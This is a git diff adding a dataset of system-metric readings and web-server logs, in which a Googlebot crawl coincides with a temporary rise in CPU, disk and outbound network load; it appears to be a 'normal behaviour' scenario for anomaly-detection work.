192.168.1.84 - "GET /blog/post-4 HTTP/1.1" 200 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" diff --git a/norm_dataset/scenario_8/norm_8_15.csv b/norm_dataset/scenario_8/norm_8_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..5af12c1c5556c9e964beaa9a36ba5ec3afa6cecc --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,23.07,40.18,28.14,1.77,1.95 +2025-07-02T12:00:05Z,22.43,43.34,23.06,1.64,1.7 +2025-07-02T12:00:10Z,21.18,42.83,25.39,1.22,2.38 +2025-07-02T12:00:15Z,20.58,41.87,27.38,1.07,1.55 +2025-07-02T12:00:20Z,23.87,44.39,20.19,1.96,2.15 +2025-07-02T12:00:25Z,23.07,41.78,22.33,1.57,2.45 +2025-07-02T12:00:30Z,23.33,42.41,29.16,1.66,1.68 +2025-07-02T12:00:35Z,19.1,41.14,24.03,1.66,1.9 +2025-07-02T12:00:40Z,19.85,42.71,21.21,1.67,1.83 +2025-07-02T12:00:45Z,17.26,41.54,20.46,1.11,1.49 +2025-07-02T12:00:50Z,24.66,42.81,20.28,1.96,1.02 +2025-07-02T12:00:55Z,18.18,44.66,20.94,1.69,1.85 +2025-07-02T12:01:00Z,23.11,44.84,22.28,1.19,2.25 +2025-07-02T12:01:05Z,22.68,44.08,26.73,1.55,1.68 +2025-07-02T12:01:10Z,21.17,40.74,23.46,1.93,2.09 +2025-07-02T12:01:15Z,20.2,44.54,26.43,1.16,2.17 +2025-07-02T12:01:20Z,22.83,42.2,24.93,1.04,1.66 +2025-07-02T12:01:25Z,20.3,40.0,25.3,1.35,1.05 +2025-07-02T12:01:30Z,16.63,44.93,27.56,1.76,2.27 +2025-07-02T12:01:35Z,22.31,42.18,29.8,1.77,1.35 +2025-07-02T12:01:40Z,25.0,45.0,31.25,6.73,6.5 +2025-07-02T12:01:45Z,25.0,48.08,30.99,2.0,2.5 +2025-07-02T12:01:50Z,27.03,45.0,30.0,4.1,5.96 +2025-07-02T12:01:55Z,27.59,45.0,35.39,2.31,6.53 +2025-07-02T12:02:00Z,25.0,45.0,30.0,6.87,2.5 +2025-07-02T12:02:05Z,25.0,48.57,30.0,3.17,9.6 +2025-07-02T12:02:10Z,25.02,47.94,37.41,2.0,10.32 +2025-07-02T12:02:15Z,29.03,48.89,35.22,5.78,11.38 +2025-07-02T12:02:20Z,36.09,50.79,40.63,2.0,13.24 +2025-07-02T12:02:25Z,36.96,46.32,38.96,2.86,7.88 +2025-07-02T12:02:30Z,41.08,45.0,41.85,2.0,12.07 +2025-07-02T12:02:35Z,40.06,45.27,39.77,6.51,17.55 +2025-07-02T12:02:40Z,40.33,45.0,45.5,3.21,18.91 +2025-07-02T12:02:45Z,40.93,48.38,46.69,2.0,25.33 +2025-07-02T12:02:50Z,42.48,52.67,47.76,4.38,28.48 +2025-07-02T12:02:55Z,51.11,50.01,51.1,4.49,27.63 +2025-07-02T12:03:00Z,55.15,45.89,57.45,7.17,35.24 +2025-07-02T12:03:05Z,57.81,49.8,61.89,2.0,33.19 +2025-07-02T12:03:10Z,64.27,49.88,63.75,2.0,37.68 +2025-07-02T12:03:15Z,62.33,47.93,67.21,6.84,49.22 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+2025-07-02T12:06:35Z,15.95,44.77,21.57,1.45,1.38 +2025-07-02T12:06:40Z,21.65,41.65,28.08,1.95,1.14 +2025-07-02T12:06:45Z,22.45,41.84,26.98,1.58,1.23 +2025-07-02T12:06:50Z,16.14,42.52,22.99,1.63,1.21 +2025-07-02T12:06:55Z,19.99,43.4,24.22,1.39,1.4 +2025-07-02T12:07:00Z,22.3,40.61,25.11,1.25,1.67 +2025-07-02T12:07:05Z,19.4,40.09,22.32,1.35,1.53 +2025-07-02T12:07:10Z,16.42,40.14,22.58,1.94,1.03 +2025-07-02T12:07:15Z,21.46,42.09,27.83,1.87,1.51 +2025-07-02T12:07:20Z,19.5,41.02,22.55,1.76,1.73 +2025-07-02T12:07:25Z,18.33,40.55,29.99,1.57,1.83 diff --git a/norm_dataset/scenario_8/norm_8_15.log b/norm_dataset/scenario_8/norm_8_15.log new file mode 100644 index 0000000000000000000000000000000000000000..8fe09199d4dbd70d2d6a17e01d4cde69b0073efe --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_15.log @@ -0,0 +1,410 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/22 status=200 OK +Jul 02 12:00:00 web-app[1234]: INFO System health check OK +Jul 02 12:00:30 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 02 12:01:00 web-app[1234]: GET /api/v1/user/49 status=200 OK +Jul 02 12:01:15 web-app[1234]: INFO System health check OK +Jul 02 12:01:30 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 02 12:01:42 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:01:42 +0000] "GET /products/item/135 HTTP/1.1" 200 11210 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:43 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:01:43 +0000] "GET /products/item/128 HTTP/1.1" 200 7431 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:46 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:01:46 +0000] "GET /products/item/133 HTTP/1.1" 200 18792 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:48 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:01:48 +0000] "GET /products/item/124 HTTP/1.1" 200 14863 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:52 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:01:52 +0000] "GET /products/item/195 HTTP/1.1" 200 23229 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:53 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:01:53 +0000] "GET /products/item/188 HTTP/1.1" 200 16590 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:54 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:01:54 +0000] "GET /products/item/102 HTTP/1.1" 200 15005 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:55 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:01:55 +0000] "GET /blog/article/50 HTTP/1.1" 200 8214 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:58 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:01:58 +0000] "GET /blog/article/11 HTTP/1.1" 200 20280 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:58 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:01:58 +0000] "GET /blog/article/44 HTTP/1.1" 200 6897 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:00 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:00 +0000] "GET /products/item/165 HTTP/1.1" 200 9099 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:01 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:01 +0000] "GET /products/item/203 HTTP/1.1" 200 16686 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:02 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:02 +0000] "GET /products/item/206 HTTP/1.1" 200 8123 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:03 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:03 +0000] "GET /products/item/239 HTTP/1.1" 200 7533 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:05 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:05 +0000] "GET /products/item/128 HTTP/1.1" 200 22546 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:05 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:05 +0000] "GET /products/item/200 HTTP/1.1" 200 9216 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:06 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:06 +0000] "GET /blog/article/47 HTTP/1.1" 200 8055 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:08 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:08 +0000] "GET /blog/article/51 HTTP/1.1" 200 20712 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:12 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:12 +0000] "GET /blog/article/66 HTTP/1.1" 200 5821 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:13 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:13 +0000] "GET /products/item/109 HTTP/1.1" 200 21810 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:13 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:13 +0000] "GET /products/item/131 HTTP/1.1" 200 6994 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:13 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:13 +0000] "GET /products/item/139 HTTP/1.1" 200 9047 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:14 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:14 +0000] "GET /pricing HTTP/1.1" 200 12762 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:15 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:15 +0000] "GET /products/item/196 HTTP/1.1" 200 16373 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:16 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:16 +0000] "GET /blog/article/68 HTTP/1.1" 200 9122 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:16 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:16 +0000] "GET /products/item/109 HTTP/1.1" 200 12397 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:18 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:18 +0000] "GET /products/item/128 HTTP/1.1" 200 24666 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:18 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:18 +0000] "GET /products/item/222 HTTP/1.1" 200 12586 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:21 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:21 +0000] "GET /products/item/111 HTTP/1.1" 200 21238 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:21 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:21 +0000] "GET /products/item/114 HTTP/1.1" 200 18847 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:21 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:21 +0000] "GET /products/item/196 HTTP/1.1" 200 16421 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:22 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:22 +0000] "GET /products/item/235 HTTP/1.1" 200 16451 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:24 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:24 +0000] "GET /blog/article/18 HTTP/1.1" 200 16563 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:24 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:24 +0000] "GET /blog/article/40 HTTP/1.1" 200 15679 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:25 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:25 +0000] "GET /blog/article/43 HTTP/1.1" 200 17872 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:27 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:27 +0000] "GET /products/item/167 HTTP/1.1" 200 8383 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:28 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:28 +0000] "GET /blog/article/30 HTTP/1.1" 200 14805 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:28 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:28 +0000] "GET /products/item/153 HTTP/1.1" 200 16416 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:29 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:29 +0000] "GET /blog/article/68 HTTP/1.1" 200 17745 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:29 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:29 +0000] "GET /blog/article/79 HTTP/1.1" 200 10490 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:30 +0000] "GET /about HTTP/1.1" 200 19187 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:30 +0000] "GET /products/item/229 HTTP/1.1" 200 13779 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:31 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:31 +0000] "GET /products/item/104 HTTP/1.1" 200 17971 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:32 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:32 +0000] "GET /products/item/130 HTTP/1.1" 200 14721 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:33 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:33 +0000] "GET /blog/article/57 HTTP/1.1" 200 20090 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:33 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:33 +0000] "GET /products/item/180 HTTP/1.1" 200 18305 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:34 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:34 +0000] "GET /products/item/157 HTTP/1.1" 200 10772 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:35 +0000] "GET /products/item/117 HTTP/1.1" 200 16761 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:35 +0000] "GET /products/item/227 HTTP/1.1" 200 10243 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:35 +0000] "GET /products/item/232 HTTP/1.1" 200 19651 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:36 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:36 +0000] "GET /blog/article/26 HTTP/1.1" 200 12959 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:36 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:36 +0000] "GET /blog/article/67 HTTP/1.1" 200 14646 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:37 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:37 +0000] "GET /products/item/150 HTTP/1.1" 200 18807 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:39 +0000] "GET /blog/article/39 HTTP/1.1" 200 10452 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:40 +0000] "GET /blog/article/52 HTTP/1.1" 200 10697 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:40 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12:02:43 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:43 +0000] "GET /products/item/225 HTTP/1.1" 200 7455 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:45 +0000] "GET /blog/article/17 HTTP/1.1" 200 12757 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:45 +0000] "GET /blog/article/44 HTTP/1.1" 200 10644 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:45 +0000] "GET /blog/article/50 HTTP/1.1" 200 22885 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:46 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:46 +0000] "GET /products/item/192 HTTP/1.1" 200 12292 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:02:47 +0000] "GET /blog/article/69 HTTP/1.1" 200 7786 "-" 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web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:00 +0000] "GET /products/item/216 HTTP/1.1" 200 14046 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:00 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:00 +0000] "GET /products/item/238 HTTP/1.1" 200 12594 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:01 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:01 +0000] "GET /products/item/135 HTTP/1.1" 200 19702 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:02 +0000] "GET /blog/article/27 HTTP/1.1" 200 15324 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:02 +0000] "GET /blog/article/45 HTTP/1.1" 200 23395 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:02 +0000] "GET /products/item/154 HTTP/1.1" 200 19088 "-" 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+0000] "GET /products/item/201 HTTP/1.1" 200 13633 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:17 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:17 +0000] "GET /blog/article/77 HTTP/1.1" 200 8829 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:17 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:17 +0000] "GET /products/item/130 HTTP/1.1" 200 11550 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:18 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:18 +0000] "GET /blog/article/17 HTTP/1.1" 200 8029 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:18 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:18 +0000] "GET /blog/article/66 HTTP/1.1" 200 20526 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:18 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:18 +0000] "GET /products/item/107 HTTP/1.1" 200 22400 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:18 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(+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:35 +0000] "GET /products/item/249 HTTP/1.1" 200 19408 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:36 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:36 +0000] "GET /blog/article/40 HTTP/1.1" 200 16006 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:36 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:36 +0000] "GET /blog/article/75 HTTP/1.1" 200 7394 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:36 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:36 +0000] "GET /products/item/130 HTTP/1.1" 200 8146 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:36 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:36 +0000] "GET /products/item/180 HTTP/1.1" 200 6459 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:38 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:38 +0000] "GET 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web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:41 +0000] "GET /products/item/144 HTTP/1.1" 200 7623 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:42 +0000] "GET /products/item/118 HTTP/1.1" 200 6571 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:42 +0000] "GET /products/item/148 HTTP/1.1" 200 15976 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:42 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:42 +0000] "GET /products/item/233 HTTP/1.1" 200 6676 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:43 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:43 +0000] "GET /products/item/103 HTTP/1.1" 200 8733 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:43 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:43 +0000] "GET /products/item/212 HTTP/1.1" 200 5286 "-" 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[02/Jul/2025:12:04:48 +0000] "GET /products/item/115 HTTP/1.1" 200 6763 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:48 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:48 +0000] "GET /products/item/220 HTTP/1.1" 200 24221 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:49 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:49 +0000] "GET /products/item/162 HTTP/1.1" 200 6953 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:50 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:50 +0000] "GET /blog/article/40 HTTP/1.1" 200 7585 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:50 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:50 +0000] "GET /products/item/195 HTTP/1.1" 200 17129 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:52 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:52 +0000] "GET /products/item/127 HTTP/1.1" 200 5362 "-" "Googlebot/2.1 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"GET /blog/article/64 HTTP/1.1" 200 13237 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:56 +0000] "GET /products/item/101 HTTP/1.1" 200 20992 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:56 +0000] "GET /products/item/103 HTTP/1.1" 200 19544 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:56 +0000] "GET /products/item/149 HTTP/1.1" 200 22514 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:57 +0000] "GET /blog/article/43 HTTP/1.1" 200 6639 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:59 +0000] "GET /products/item/157 HTTP/1.1" 200 23663 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:04:59 +0000] "GET /products/item/183 HTTP/1.1" 200 21367 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:00 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:00 +0000] "GET /blog/article/50 HTTP/1.1" 200 7696 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:01 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:01 +0000] "GET /blog/article/39 HTTP/1.1" 200 14802 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:01 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:01 +0000] "GET /products/item/134 HTTP/1.1" 200 20415 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:01 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:01 +0000] "GET /products/item/189 HTTP/1.1" 200 14205 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:01 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:01 +0000] "GET /products/item/218 HTTP/1.1" 200 9339 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:02 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:02 +0000] "GET /products/item/147 HTTP/1.1" 200 23011 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:04 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:04 +0000] "GET /about HTTP/1.1" 200 22851 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:06 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:06 +0000] "GET /blog/article/26 HTTP/1.1" 200 8622 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:06 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:06 +0000] "GET /products/item/115 HTTP/1.1" 200 8470 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:07 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:07 +0000] "GET /blog/article/30 HTTP/1.1" 200 5769 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:07 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:07 +0000] "GET /blog/article/37 HTTP/1.1" 200 21078 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:09 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:09 +0000] "GET /blog/article/34 HTTP/1.1" 200 14542 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:09 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:09 +0000] "GET /products/item/152 HTTP/1.1" 200 11529 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:10 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:10 +0000] "GET /products/item/248 HTTP/1.1" 200 11589 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:11 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:11 +0000] "GET /products/item/190 HTTP/1.1" 200 9262 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:12 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:12 +0000] "GET /products/item/195 HTTP/1.1" 200 17329 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:12 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:12 +0000] "GET /products/item/202 HTTP/1.1" 200 14379 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:13 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:13 +0000] "GET /blog/article/71 HTTP/1.1" 200 19987 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:14 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:14 +0000] "GET /products/item/195 HTTP/1.1" 200 24104 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:15 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:15 +0000] "GET /blog/article/38 HTTP/1.1" 200 15080 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:15 web-app[1234]: 66.249.75.141 - - [02/Jul/2025:12:05:15 +0000] "GET /blog/article/39 